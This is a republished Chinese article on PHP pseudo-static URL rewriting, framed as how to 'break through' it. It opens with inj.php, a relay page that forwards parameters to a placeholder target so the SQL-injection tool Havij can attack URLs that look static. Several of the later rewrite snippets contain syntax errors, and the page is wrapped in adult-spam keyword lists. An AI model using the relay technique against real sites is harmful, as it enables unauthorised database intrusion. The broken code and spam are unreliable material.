一区二区久久-一区二区三区www-一区二区三区久久-一区二区三区久久精品-麻豆国产一区二区在线观看-麻豆国产视频

PHP 偽靜態技術原理以及突破原理實現介紹

先說實現方法:
inj.php:
復制代碼 代碼如下:
<?php
set_time_limit(10);
$id=$_GET["id"];
$id=str_replace(" ","%20",$id);
$id=str_replace("=","%3D",$id);
$url="http://www.xxx.com/index.php/library/more/id/$id.html";
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,"$url");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//啟用時將curl_init()獲取的信息以文件流的形式返回,而不是直接輸出
curl_setopt($ch,CURLOPT_HEADER,0);//啟用時會將頭文件的信息作為數據流輸出
$output=curl_exec($ch);
curl_close($ch);
print_r($output);
?>

用wamp搭建一個服務器,把上面inj.php放到wamp/www/中,然后在Havij中跑 http://127.0.0.1/inj.php?id=1
=============================
php偽靜態實現方法一(利用Apache 服務器的功能)
1、檢查Apache是否支持mod_rewrite
2、讓Apache 支持.htaccess
3、建立.htaccess文件
4、規則:
RewriteEngine on
RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-zA-Z]{1,})-([0-9]{1,}) 是 URL長啥樣
$1 是([a-zA-Z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如說:www.xx.com/page-18.html
真實的URL如下:
action = page
id = 18
============================
php偽靜態實現方法二(編碼實現)
$php2Html_FileUrl = $_SERVER["REQUEST_URI"]
echo $php2Html_FileUrl
例子:// localhost/php100/test.php?id|1@action|2
復制代碼 代碼如下:
$php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($php2Html_FileUrl,"/"),"?")) ))
/*
內層的strrchr出來:/test.php?id|1@action|2
外層的strrchr出來:id|1@action|2
內層的str_replace出來:把 / 號去掉,本例子 沒有
外層的str_replace出來:把 ?號去掉,本例子 沒有
*/
$php2Html_UrlQueryStrList = explode("@",$php2Html_UrlString);
/*把str變成以@為界限劃分的數組:id|1 和 action|2*/
foreach($php2Html_UrlQueryStrList as $php2Html_UrlQueryStr)
{
$php2Html_TmpArray = explode("|",$php2Html_UrlQueryStr);
/* id => 1 和 action => 2*/
$_GET[$php2Html_TmpArray[0]] = $php2Html_TmpArray[1];
}

============================
php偽靜態實現方法三(編碼實現)
例子: localhost/php100/test.php/1/2
復制代碼 代碼如下:
$filename = basename($_SERVER["SCRIPT_NAME"]);
echo $_SERVER["SCRIPT_NAME"];
echo $filename;
if(strtolower($filename) == 'test.php'){
if(!empty($_GET[id])){
$id=intval($_GET[id]);
echo $id;
$action = intval($_GET[action]);
echo $action;
}else{
$nav=$_SERVER["REQUEST_URI"];
$script=$_SERVER["SRCIPT_NAME"];
//這句話應該是把URL前面那段給搞掉。。剩下 "1/2"之類的。。
$nav=ereg_replace("$script","",urldecode($nav));
echo $nav;
$vars = explode("/",$nav);
print_r($vars);
$id=intval($vars[1]);
$action=intval($vars[2]);
}
echo $id.'&'.$action;
}

============================
php偽靜態實現方法四(編碼實現)
復制代碼 代碼如下:
function mod_rewrite(){
global $_GET;
$nav = $_SERVER["REQUEST_URI"];
$script_name = $_SERVER["SCRIPT_NAME"]
$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1);
$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html
$vars=explode("/",$nav);
print_r($vars);
for($i=0;$i<count($vars);$i+=2)
{
$_GET[$vars[$i]] = $vars[$i+1];
}
return $_GET;
}

============================
php偽靜態實現方法五(編碼實現)
例子:/1,100,8630.html
復制代碼 代碼如下:
if(preg_match(“///(/d+),(/d+),(/d+)/.html/si”,$path_info,$arr_path)){
$gid =intval($arr_path[1]); //取得值1
$sid =intval($arr_path[2]); //取得值100
$softid =intval($arr_path[3]); //取得值8630
}
else
echo "Path:Error!";

總結下:
(1)偽靜態技術比較好突破,需要自己構造中轉注入頁面。
(2)偽靜態技術原理都很簡單,就是把原來的 index.php?id=1 這種形式的URL給替換成其它形式。

php技術PHP 偽靜態技術原理以及突破原理實現介紹,轉載需保留來源!

鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯系我們修改或刪除,多謝。

主站蜘蛛池模板: 国产综合欧美日韩视频一区 | 加勒比不卡 | 国产91精品高跟丝袜在线 | 色狠狠一区二区三区香蕉蜜桃 | 午夜网站视频 | 中文有码中文字幕免费视频 | 怡红院视频网 | 丝袜综合网 | 天天干天天插天天 | 图片区小说区区国产明星 | 亚洲妇人成熟性成熟网站 | 污黄视频网站 | 欧美日韩亚洲国产精品一区二区 | 91精品久久久久久久久久 | 97碰公开在线观看免费视频 | 最新69国产成人精品视频69 | 久久久久久久久毛片精品 | 亚洲国产欧美精品 | 99久久精品免费视频 | 最新国产在线观看福利 | 一区二区三区舞蹈区 | 亚洲看黄 | 黄色在线观看免费 | 欧美国产综合在线 | 国产激情视频在线播放 | 激情视频激情图片激情小说 | 2020国产精品永久在线观看 | 欧美三级在线观看视频 | 久久中文精品 | 久久精品视香蕉蕉er大臿蕉 | 四色最新网址 | 在线播放12p | 亚洲小说另类 | 亚洲丝袜一区二区 | 国产一区二区久久久 | 亚洲午夜小视频 | 在线国产片 | 国产精品合集一区二区三区 | 国产91丝袜香蕉在线播放 | 女人张腿让男桶免费视频大全 | 91精品推荐 |